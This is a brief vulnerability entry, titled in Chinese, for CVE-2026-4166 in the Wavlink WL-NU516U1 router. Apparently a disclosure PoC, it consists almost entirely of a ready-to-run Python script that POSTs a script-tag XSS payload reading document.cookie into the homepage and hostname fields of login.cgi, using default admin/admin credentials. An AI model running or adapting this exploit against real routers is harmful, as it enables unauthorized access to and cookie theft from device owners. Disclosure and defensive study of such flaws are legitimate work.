CVE-2026-4166 Wavlink WL-NU516U1 跨站脚本漏洞

import requests # CVE-2026-4166 PoC - XSS in Wavlink WL-NU516U1 login.cgi # Target: Wavlink WL-NU516U1 router # Vulnerability: XSS via homepage/hostname parameter in /cgi-bin/login.cgi target_url = "http://<target_ip>/cgi-bin/login.cgi" # Malicious payload - XSS injection xss_payload = "<script>alert(document.cookie)</script>" # Prepare the malicious request data = { "homepage": xss_payload, "hostname": xss_payload, # Add other required parameters "username": "admin", "password": "admin" } try: # Send the malicious request response = requests.post(target_url, data=data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {xss_payload}") print(f"[*] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")